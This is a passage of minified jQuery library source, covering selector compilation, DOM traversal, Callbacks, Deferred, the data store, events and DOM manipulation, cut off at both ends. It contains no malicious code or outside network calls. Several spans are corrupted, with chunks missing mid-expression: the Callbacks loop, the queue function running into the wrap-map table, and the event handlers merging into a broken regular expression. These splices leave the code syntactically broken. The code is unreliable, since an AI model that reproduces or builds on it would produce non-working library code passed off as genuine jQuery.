l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return h.call(b,a)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&f.parentNode&&(this.length=1,this[0]=f),this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?void 0!==c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?h.call(n(a),this[0]):h.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||n.uniqueSort(e),D.test(a)&&e.reverse()),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.removeEventListener("DOMContentLoaded",J),a.removeEventListener("load",J),n.ready()}n.ready.promise=function(b){return I||(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(n.ready):(d.addEventListener("DOMContentLoaded",J),a.addEventListener("load",J))),I.promise(b)},n.ready.promise();var K=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)K(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},L=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function M(){this.expando=n.expando+M.uid++}M.uid=1,M.prototype={register:function(a,b){var c=b||{};return a.nodeType?a[this.expando]=c:Object.defineProperty(a,this.expando,{value:c,writable:!0,configurable:!0}),a[this.expando]},cache:function(a){if(!L(a))return{};var b=a[this.expando];return b||(b={},L(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[b]=c;else for(d in b)e[d]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=a[this.expando];if(void 0!==f){if(void 0===b)this.register(a);else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in f?d=[b,e]:(d=e,d=d in f?[d]:d.match(G)||[])),c=d.length;while(c--)delete f[d[c]]}(void 0===b||n.isEmptyObject(f))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!n.isEmptyObject(b)}};var N=new M,O=new M,P=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Q=/[A-Z]/g;function R(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Q,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:P.test(c)?n.parseJSON(c):c; +}catch(e){}O.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return O.hasData(a)||N.hasData(a)},data:function(a,b,c){return O.access(a,b,c)},removeData:function(a,b){O.remove(a,b)},_data:function(a,b,c){return N.access(a,b,c)},_removeData:function(a,b){N.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=O.get(f),1===f.nodeType&&!N.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),R(f,d,e[d])));N.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){O.set(this,a)}):K(this,function(b){var c,d;if(f&&void 0===b){if(c=O.get(f,a)||O.get(f,a.replace(Q,"-$&").toLowerCase()),void 0!==c)return c;if(d=n.camelCase(a),c=O.get(f,d),void 0!==c)return c;if(c=R(f,d,void 0),void 0!==c)return c}else d=n.camelCase(a),this.each(function(){var c=O.get(this,d);O.set(this,d,b),a.indexOf("-")>-1&&void 0!==c&&O.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){O.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=N.get(a,b),c&&(!d||n.isArray(c)?d=N.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return N.get(a,c)||N.access(a,c,{empty:n.Callbacks("once memory").add(function(){N.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length",""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};$.optgroup=$.option,$.tbody=$.tfoot=$.colgroup=$.caption=$.thead,$.th=$.td;function _(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function aa(a,b){for(var c=0,d=a.length;d>c;c++)N.set(a[c],"globalEval",!b||N.get(b[c],"globalEval"))}var ba=/<|&#?\w+;/;function ca(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],o=0,p=a.length;p>o;o++)if(f=a[o],f||0===f)if("object"===n.type(f))n.merge(m,f.nodeType?[f]:f);else if(ba.test(f)){g=g||l.appendChild(b.createElement("div")),h=(Y.exec(f)||["",""])[1].toLowerCase(),i=$[h]||$._default,g.innerHTML=i[1]+n.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;n.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",o=0;while(f=m[o++])if(d&&n.inArray(f,d)>-1)e&&e.push(f);else if(j=n.contains(f.ownerDocument,f),g=_(l.appendChild(f),"script"),j&&aa(g),c){k=0;while(f=g[k++])Z.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var da=/^key/,ea=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,fa=/^([^.]*)(?:\.(.+)|)/;function ga(){return!0}function ha(){return!1}function ia(){try{return d.activeElement}catch(a){}}function ja(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ja(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ha;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=N.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return"undefined"!=typeof n&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(G)||[""],j=b.length;while(j--)h=fa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=N.hasData(a)&&N.get(a);if(r&&(i=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=fa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&N.remove(a,"handle events")}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(N.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!==this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,la=/\s*$/g;function pa(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function qa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function ra(a){var b=na.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function sa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(N.hasData(a)&&(f=N.access(a),g=N.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}O.hasData(a)&&(h=O.access(a),i=n.extend({},h),O.set(b,i))}}function ta(a,b){var c=b.nodeName.toLowerCase();"input"===c&&X.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function ua(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&ma.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),ua(f,b,c,d)});if(o&&(e=ca(b,a[0].ownerDocument,!1,a,d),g=e.firstChild,1===e.childNodes.length&&(e=g),g||d)){for(h=n.map(_(e,"script"),qa),i=h.length;o>m;m++)j=e,m!==p&&(j=n.clone(j,!0,!0),i&&n.merge(h,_(j,"script"))),c.call(a[m],j,m);if(i)for(k=h[h.length-1].ownerDocument,n.map(h,ra),m=0;i>m;m++)j=h[m],Z.test(j.type||"")&&!N.access(j,"globalEval")&&n.contains(k,j)&&(j.src?n._evalUrl&&n._evalUrl(j.src):n.globalEval(j.textContent.replace(oa,"")))}return a}function va(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(_(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&aa(_(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(ka,"<$1>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=_(h),f=_(a),d=0,e=f.length;e>d;d++)ta(f[d],g[d]);if(b)if(c)for(f=f||_(a),g=g||_(h),d=0,e=f.length;e>d;d++)sa(f[d],g[d]);else sa(a,h);return g=_(h,"script"),g.length>0&&aa(g,!i&&_(a,"script")),h},cleanData:function(a){for(var b,c,d,e=n.event.special,f=0;void 0!==(c=a[f]);f++)if(L(c)){if(b=c[N.expando]){if(b.events)for(d in b.events)e[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);c[N.expando]=void 0}c[O.expando]&&(c[O.expando]=void 0)}}}),n.fn.extend({domManip:ua,detach:function(a){return va(this,a,!0)},remove:function(a){return va(this,a)},text:function(a){return K(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return ua(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=pa(this,a);b.appendChild(a)}})},prepend:function(){return ua(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=pa(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return ua(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return ua(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(_(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return K(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!la.test(a)&&!$[(Y.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(_(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return ua(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(_(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),f=e.length-1,h=0;f>=h;h++)c=h===f?this:this.clone(!0),n(e[h])[b](c),g.apply(d,c.get());return this.pushStack(d)}});var wa,xa={HTML:"block",BODY:"block"};function ya(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function za(a){var b=d,c=xa[a];return c||(c=ya(a,b),"none"!==c&&c||(wa=(wa||n("